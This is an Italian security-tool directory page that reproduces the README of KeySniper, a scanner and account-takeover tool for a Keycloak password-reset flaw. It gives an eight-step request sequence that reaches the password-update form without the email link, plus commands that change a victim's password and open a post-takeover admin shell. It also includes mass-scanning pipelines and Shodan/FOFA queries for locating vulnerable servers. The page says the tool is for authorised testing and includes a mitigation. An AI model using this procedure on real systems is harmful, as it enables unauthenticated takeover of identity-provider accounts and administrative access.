Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ynsmroztas/keysniper
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneRed Teaming
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — acquisizione non autenticata dell'account Keycloak tramite il flusso di reimpostazione delle credenziali.

Vedi Repository
35h 16m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

KeySniper

KeySniper

Autore: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — compromissione non autenticata dell'account Keycloak tramite il flusso reset-credentials.

KeySniper è uno scanner orientato alla produzione per bug bounty in scope e valutazioni autorizzate: output radar in tempo reale, scoperta dei realm, rilevamento vs compromissione, shell interattiva post-ATO e pipeline stdin (subfinder → httpx → KeySniper).

La modalità predefinita è detect (--takeover 0). --takeover 1 modifica la password dell'account sul target.


Vulnerabilità

CampoValore
CVECVE-2026-18963
CWECWE-640 — Meccanismo di recupero password debole
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
ProdottoKeycloak / Red Hat SSO
Corretto in26.7.2, 26.6.6, 26.4.15
AutenticazioneNessuna

Due bug vengono concatenati:

  1. tryAnotherWay memorizza una nota generica del selettore "true" che non è limitata all'ID di esecuzione.
  2. ResetCredentialEmail.action() chiama context.success() senza verificare ACTION_TOKEN_USER_ID.

Risultato: un chiamante non autenticato può forzare il flusso di reset della password per un nome utente noto e arrivare su UPDATE_PASSWORD senza cliccare il link nell'email.

Segnale di conferma

La scansione non è "password dimenticata esistente". La conferma è:

  • il modulo del selettore viene ri-renderizzato sull'URL di reset originale
  • l'UUID execution= cambia (l'esecuzione email viene divulgata)
  • la risposta contiene kc-passwd-update-form
root@kitploit:~
exec3 = 28e2cd30-…   (primo selettore)
exec6 = 8fd21174-…   (GET pivot)
         UPDATE_PASSWORD

Funzionalità

  • Log [radar] in tempo reale (Location, JS, header, sonda realm)
  • Scoperta realm: 302 Location + HTML/JS + well-known + wordlist
  • Rilevamento automatico prefisso /auth
  • Pipeline: URL stdin da httpx / subfinder
  • Filtro falsi positivi: corpo Keycloak richiesto prima del brute sui realm
  • --takeover 0 solo rilevamento
  • --takeover 1 imposta password (predefinita SelaM1337@@)
  • --shell shell interattiva token / helper API admin dopo ATO
  • Badge colorati: VULN / ATO rosso, SAFE verde, SKIP giallo

Installazione

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9+.


Utilizzo

root@kitploit:~
# rilevamento (nessuna modifica password)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# compromissione + shell interattiva
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# realm / utente
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# pipeline
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# file di elenco
python3 KeySniper.py -l urls.txt --takeover 0 -q

Flag

Non passare --takeover 1 o --shell su un dump pipeline.


Flusso (8 passaggi)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → href forgot-password (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (se presente)
[6] GET  URL reset-credentials originale  (pivot)
         → ri-renderizzazione selettore + nuova execution=
[7] POST selettore obsoleto (nessun action token)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (solo se --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

Output

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update non viene conteggiato come VULN.


Shell interattiva

Si apre solo dopo [ATO] su un target singolo:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

Utilizza la concessione password resource-owner (admin-cli, poi account).
HTTP 403 su /admin/realms significa che Direct Access Grants / ruolo admin è limitato — l'ATO può comunque essere valido.


Scoperta

  1. Sonda /realms/master poi /auth/realms/master
  2. Raccogli realm da Location, HTML, JS, "realm":, issuer
  3. Wordlist (~70 nomi) solo dopo fingerprint Keycloak
  4. Mantieni realm dove /realms/{name} restituisce 200 + corpo Keycloak

Fingerprint / ricognizione

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (scope del programma):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

Falsi positivi

  • Qualsiasi 200 su / viene ignorato a meno che il corpo non contenga issuer / public_key / login-actions
  • Forgot-password mancante → SKIP (il realm ha il reset disabilitato)
  • Leak del selettore senza kc-passwd-update-form → SKIP
  • I percorsi httpx vengono ridotti all'origine (/auth mantenuto)

Versioni interessate

Keycloak < 26.7.2 (anche 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigazione: disabilita Forgot Password su ogni realm, poi aggiorna.

Lo screenshot in questo repository è oscurato (segnaposto sso.lab.local). Token, password, email e host reali non vengono pubblicati.


Autore

Mitsec
X: x.com/ynsmroztas


Licenza

Uso per ricerca su target autorizzati in scope. Mantieni --takeover 1 disattivato su host fuori scope.

Scarica lo strumento
FlagPredefinitoSignificato
-u URL—Target singolo
-l FILE—Elenco URL
stdinautoRighe httpx (primo campo = URL)
--takeover 0|10Rilevamento vs modifica password
-U USERadminNome utente target
-r REALMautoForza realm o scopri
--passSelaM1337@@Nuova password se takeover=1
-t N4Thread pipeline
-qoffSolo risultati
--shelloffShell post-ATO (target singolo)
StatoSignificato
VULNPivot + UPDATE_PASSWORD (password non modificata)
ATOPassaggio 8 riuscito
SAFEReset aperto, nessun selettore obsoleto (corretto)
SKIPNon Keycloak / reset disabilitato / leak senza modulo UPDATE
FAILErrore di rete / eccezione imprevista